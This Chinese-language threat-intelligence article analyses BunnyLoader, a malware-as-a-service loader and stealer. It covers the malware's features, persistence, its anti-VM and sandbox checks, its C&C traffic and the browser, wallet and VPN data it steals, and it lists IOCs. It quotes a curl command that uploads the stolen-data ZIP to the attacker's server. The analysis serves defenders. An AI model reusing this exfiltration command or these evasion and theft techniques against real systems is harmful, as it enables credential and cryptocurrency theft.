Avenger
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

9 月初,Zscaler 的研究人员发现一种名为 BunnyLoader 的新恶意软件即服务(MaaS)正在地下论坛兜售。BunnyLoader 提供下载执行后续 Payload、窃取浏览器凭据与系统信息等,BunnyLoader 将获取到的信息压缩到 ZIP 文件,再回传到 C&C 服务器中。
起源
九月初,研究人员发现了一种名为 BunnyLoader 的新恶意软件即服务(MaaS)。该恶意软件由名为 PLAYER_BUNNY
与 PLAYER_BL
的用户在各个地下论坛出售,该用户似乎是该恶意软件的开发人员之一。如下所示:
广告宣传
根据广告宣传,BunnyLoader 具有以下特点:
- 使用 C/C++ 开发
- 是无文件加载程序
- 信息窃取与剪贴板窃取兼有
- 远程命令执行
- 使用了反分析技术
- 提供控制面板查看失陷主机数量、窃取数据等
- 价格为 250 美元终身使用
自从 2023 年 9 月 4 日 BunnyLoader 的 1.0 版本发布以来,该恶意软件一直在快速迭代开发。短短一个月的时间,BunnyLoader 已经更新了很多版本:
版本 | 发布日期 | 更新内容 |
---|---|---|
1.0 | 2023.09.04 | 无 |
1.1 | 2023.09.05 | 修正客户端错误、上传窃取信息前压缩、为反向 Shell 增加命令 |
1.2 | 2023.09.06 | 新增支持窃取浏览器历史记录、NGRok Token |
1.3 | 2023.09.09 | 新增支持窃取 16 种信用卡、修复 C&C 存在的错误 |
1.4 | 2023.09.10 | 新增逃避检测技术 |
1.5 | 2023.09.11 | 新增支持窃取 VPN(ProtonVPN 和 OpenVPN)、修复无文件加载程序存在的错误 |
1.6 | 2023.09.12 | 新增支持窃取下载历史记录、支持反沙盒技术 |
1.7 | 2023.09.15 | 新增额外逃避检测技术 |
1.8 | 2023.09.15 | 新增键盘记录功能、修复任务执行与 C&C 中存在的错误 |
1.9 | 2023.09.17 | 新增支持窃取游戏信息(Uplay 与 Minecraft)、加密货币钱包 |
2.0 | 2023.09.27 | C&C 控制面板界面升级、窃取功能优化、无文件加载程序优化、更新反分析技术、支持将 Payload 注入内存、更新价格体系 |
C&C 控制面板
BunnyLoader 的 C&C 控制面板能够显示各种任务的列表,包括:
- 下载并执行其他恶意软件
- 按键记录
- 凭据窃取
- 替换失陷主机剪贴板窃取加密货币
- 在失陷主机上执行远程命令
面板也提供了各种配置参数:
控制面板
BunnyLoader 的控制面板提供对感染情况的统计、对连接情况的统计、活动任务的统计、窃取数据的跟踪等。
统计信息
此外还可以通过控制面板远程控制失陷主机,如下所示:
远程控制
技术分析
BunnyLoader 执行后,加载程序会进行以下操作:
- 在注册表中
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
创建一个名为Spyware_Blocker
的新项,用于持久化保持启动。 - 将 ShowWindow() 的 nCmdShow 设置为 SW_HIDE 来隐藏窗口。
- 通过 CreateMutexW() 创建名为
BunnyLoader_MUTEXCONTROL
的互斥量。 - 执行反虚拟化代码:检查 SxIn.dll(360 安全卫士)、cmdvrt32.dll / cmdvrt64.dll(Comodo)、wine_get_unix_file_name(Wine)、SbieDll.dll(Sandboxie)。
- 利用 ROOT\CIMV2 检查虚拟机:SELECT * FROM Win32_VideoController、Win32_Processor、Win32_NetworkAdapter、Win32_BIOS、SELECT * FROM Win32_ComputerSystem
- 通过 /proc/1/cgroup 检查 docker,如果存在即不会执行
- 检测沙盒常见用户名:ANYRUN、Sandbox、Test、John Doe、Abby、Timmy、Maltest、malware、Emily、Timmy、Paul Jones、CurrentUser、IT-ADMIN、Walker、Lisa、WDAGUtilityAccount、Virus、fred
一旦识别到沙盒,BunnyLoader 就会抛出告警消息:
“The version of this file is not compatible with the current version of Windows you are running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher.”
如果没问题就会向 C&C 服务器发送 HTTP 请求,如下所示:
GET /Bunny/Add.php?country=<country>&ip=<ip>&host=<host>&ver=2.0&system=Microsoft+Windows+10+Pro%0A&privs=Admin&av=Windows+Defender HTTP/1.1
User-Agent: BunnyLoader
Host: 37[.]139[.]129[.]145
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 25 Sep 2023 21:11:41 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
X-Powered-By: PHP/8.2.4
Content-Length: 11
Content-Type: text/html; charset=UTF-8
Connected
发送到 C&C 服务器的请求的参数如下所示:
参数 | 描述 |
---|---|
country | 通过 http[:]//ip-api.com/csv获取归属国家或地区 |
ip | 通过 http[:]//api.ipify.org获取受害者 IP 地址 |
host | 通过 GetComputerNameA 获取主机名称 |
ver | BunnyLoader 的版本号 |
system | 通过 systeminfo |
privs | 通过 OpenProcessToken 获取用户权限 |
av | 通过 wmic /namespace:\root\SecurityCenter2 获取反病毒产品信息 |
如果 C&C 服务器的响应为 Connected,BunnyLoader 就会执行恶意行为。
任务执行
上线后,BunnyLoader 会向 C&C 服务器发起请求 http[:]//37[.]139[.]129[.]145/Bunny/TaskHandler.php?BotID=<bot_id>
。如下所示,任务请求的响应由 ID、Name、Params 组成:
GET /Bunny/TaskHandler.php?BotID=<Bot_ID> HTTP/1.1
User-Agent: BunnyTasks
Host: 37[.]139[.]129[.]145
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 25 Sep 2023 21:11:41 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
X-Powered-By: PHP/8.2.4
Content-Length: 102
Content-Type: text/html; charset=UTF-8
ID: 5 Name: Run Stealer Params: ID: 3 Name: Bitcoin Params: bc1<bitcoin_address>5k
其中,name 为要执行的功能,params 是传递给模块的参数。根据接收到的命令,BunnyLoader 会进一步执行其他操作。例如:
- 恶意软件下载(无文件执行、文件落地执行)
- 窃密(按键记录、信息窃密)
- 加密货币钱包(Bitcoin、Monero、Ethereum、Litecoin、Dogecoin、ZCash、Tether)
- 远程命令执行
按键记录
BunnyLoader 通过 GetAsyncKeyState() 进行基本的按键记录,将结果输出在 C:\Users\<username>\AppData\Local\Keystrokes.txt
。
信息窃密
BunnyStealer 旨在窃取与浏览器、加密货币钱包、VPN 等相关信息,窃取后将数据存储在 Appdata\Local Directory 中名为 BunnyLogs 的文件夹的 ZIP 压缩文件中。BunnyLoader 支持的浏览器如下所示:
- 7Star\7Star\User Data
- Yandex\YandexBrowser\User Data
- CentBrowser\User Data
- Comodo\User Data
- Chedot\User Data
- 360Browser\Browser\User Data
- Vivaldi\User Data
- Maxthon3\User Data
- Kometa\User Data
- K-Melon\User Data
- Elements Browser\User Data
- Google\Chrome\User Data\Sputnik\Sputnik\User Data
- Epic Privacy Browser\User Data
- Nichrome\User Data
- uCozMedia\Uran\User Data
- CocCoc\Browser\User Data
- Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
- Uran\User Data
- CatalinaGroup\Citrio\User Data
- Chromodo\User Data
- Coowon\Coowon\User Data
- Mail.Ru\Atom\User Data
- liebao\User Data
- Microsoft\Edge\User Data
- QIP Surf\User Data
- BraveSoftware\Brave-Browser\User Data
- Orbitum\User Data
- Chromium\User Data
- Comodo\Dragon\User Data
- Google(x86)\Chrome\User Data
- Amigo\User\User Data
- MapleStudio\ChromePlus\User Data
- Torch\User Data
- Iridium\User Data
在浏览器中窃取以下信息:
- 自动填充信息
- 信用卡信息
- 下载文件信息
- 历史访问信息
- 密码信息
窃取以下加密货币钱包:
- Armory
- Exodus
- AutomaticWallet
- Bytecoin
- Ethereum
- Coinomi
- Jaxx
- Electrum
- Guarda
窃取以下 VPN 信息:
- ProtonVPN
- OpenVPN
窃取以下应用程序的凭据信息:
- Skype
- Tox
- Signal
- Element
- ICQ
窃取的数据如下所示,information.txt 中包含系统信息与位置信息。每个文件夹中都包含从失陷主机中窃取的数据,如 Web 浏览器历史记录与下载文件信息:
窃取信息
被窃数据通过 Powershell cmdlet:System.IO.Compression.ZipFile 进行压缩,压缩文件名为 BunnyLogs_<hostname>.zip
。压缩文件会通过 curl 命令回传到 C&C 服务器:
cmd.exe /c curl -F
"file=@C:\Users\user\AppData\Local\BunnyLogs_468325.zip"
http[:]//37[.]139[.]129[.]145/Bunny/Uploader.php
BunnyLoader 还会执行窃密程序的上线请求,其中包含被窃数据的统计信息:
GET /Bunny/StealerRegistration.php?country=<country>&ip=<ip>&system=Micro
soft+Windows+10+Pro%0A&chromium=18&crypto=1&messages=0&vpn=0&keys=0&lin
k=http%3A%2F%2F37[.]139[.]129[.]145%2FBunny%2FStealerLogs%2FBunnyLogs_
468325.zip&date=Mon+Sep+25+21%3A47%3A41+2023%0A&games=0 HTTP/1.1
User-Agent: BunnyStealer
Host: 37[.]139[.]129[.]145
Cache-Control: no-cache
窃取加密货币
恶意软件会检查失陷主机的剪贴板中是否有与指定加密货币地址匹配的钱包地址,会将其替换为攻击者的钱包地址。
支持的加密货币有:
- Bitcoin
- Monero
- Ethereum
- Litecoin
- Dogecoin
- ZCash
- Tether
恶意软件会从 C&C 服务器接收要替换的加密钱包地址。
其他任务
BunnyLoader 下载并执行其他恶意软件有两种方式:
- 第一种是从 C&C 服务器提供的 URL 下载文件,写入 AppData\Local 目录并执行
- 第二种是无文件执行,BunnyLoader 首先创建一个处于挂起状态的进程,将接收到的文件存储在内存缓冲区种,再将 Payload 注入该进程
部分代码
任务完成后,BunnyLoader 会发送以下请求告知 C&C 服务器。CommandID 为任务 ID,如下所示:
http://37[.]139[.]129[.]145/Bunny/TaskHandler.php?CommandID=5&BotID=272148461
BunnyLoader 向 C&C 服务器发起 echoer 请求,如下所示。BunnyLoader 解析响应并检查以下命令:help、cd、pwd,执行命令后将输出发回 C&C 服务器。
远程命令执行
BunnyLoader 还会发送心跳保活,确保 C&C 服务器知道失陷主机处于在线状态。
GET /Bunny/Heartbeat.php?country=<country>&ip=<ip>&host=<hostname>&ver=2.0&system=Microsoft+Windows+10+Pro%0A&privs=Admin&av=Windows+Defender HTTP/1.1
User-Agent: HeartBeat_Sender
Host: 37[.]139[.]129[.]145
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 25 Sep 2023 21:11:41 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
X-Powered-By: PHP/8.2.4
Content-Length: 13
Content-Type: text/html; charset=UTF-8
Client online
结论
BunnyLoader 是一个新的恶意软件即服务(MaaS),攻击者不断为其改进策略并新增功能。
IOC
dbf727e1effc3631ae634d95a0d88bf3
bbf53c2f20ac95a3bc18ea7575f2344b
59ac3eacd67228850d5478fd3f18df78
37[.]139[.]129[.]145/Bunny
参考来源
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)